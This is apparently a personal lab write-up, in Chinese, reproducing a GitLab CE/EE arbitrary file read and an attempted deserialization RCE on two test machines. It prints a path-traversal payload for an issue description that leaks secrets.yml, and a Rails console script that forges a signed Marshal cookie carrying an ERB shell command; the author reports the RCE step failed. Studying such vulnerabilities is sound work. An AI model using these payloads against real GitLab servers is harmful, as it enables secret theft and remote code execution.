Gitlab任意文件读取&RCE

影响版本

  • GitLab GitLab CE/EE >=8.5 and <=12.9 CE社区版,EE企业版(收费))
  • GitLab GitLab CE >=8.5,<=12.9

环境搭建

搭建gitlab1

环境

  • CE11.9.9 下载地址
  • ip:192.168.4.18
  • CentOS 7
  • 安装依赖
    • yum -y install policycoreutils openssh-server openssh-clients postfix
    • systemctl enable postfix && systemctl start postfix //设置自启
    • yum install policycoreutils-python

下载完成后,进入gitlab-ce-11.9.9-ce.0.el7.x86_64.rpm所在的目录

执行命令

rpm -i gitlab-ce-11.9.9-ce.0.el7.x86_64.rpm

出现如下界面,代表安装成功

1610952961492

为了防止后续出现502错误

如下

1610953108343

进行如下配置

vim /etc/gitlab/gitlab.rb

修改url

external_url 'http://192.168.4.18:8899'

兵器将下面三行打开注释

1
2
3
unicorn['port'] = 8088
postgresql['shared_buffers'] = "256MB"
postgresql['max_connections'] = 200

防火墙放行相应的端口

这里做测试就直接关了防火墙了

1
2
3
systemctl status firewalld.service //查看防火墙状态
systemctl stop firewalld.service //关闭防火墙
systemctl disable firewalld.service //永久关闭

重新加载配置,此过程可能稍等一会

gitlab-ctl reconfigure

重启服务

gitlab-ctl restart

稍等一会会,使用如下命令,当内存稳定后可访问

free -m

访问成功

1610954157477

修改密码为root/admin123

按照同样得方法搭建gitlab2(192.168.4.19)

任意文件读取漏洞

Create a project

1610954246656

命名为testa,点击创建

1610954299892

再创建一个testb

testa中创建一个issue

1610954395227

Description出填写payload

1
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

生成后点击Move issue

1610954540343

将其移动到testb,点击下图的超链接即可下载

1610954599908

成功获取到secret_key_base

1610954631416

这是gitlab1:192.168.4.18secret_key_base

RCE(失败)

修改gitlab2:192.168.4.19secret_key_base为获取到的值

记得备份原文件

1
cp /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml.bak

1610954893785

gitlab2中打开gitlab-rails终端

gitlab-rails console production

依次输入如下命令

1
2
3
4
5
6
7
8
9
10
11
12
13
request = ActionDispatch::Request.new(Rails.application.env_config)

request.env["action_dispatch.cookies_serializer"] = :marshal

cookies = request.cookie_jar

erb = ERB.new("<%= `echo sectest > /tmp/sectes2` %>")

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)

cookies.signed[:cookie] = depr

puts cookies[:cookie]

获取到cookie后,发送到服务器上

1610957281861

如下,但是目标站没有生成文件

1610957334755

end

目测这是一个反序列化的rce

文件读取获取的id值,可能跟cookie的解密相关

最后把cookie反序列化,触发的rce,但是现在也分析不到暂且放放吧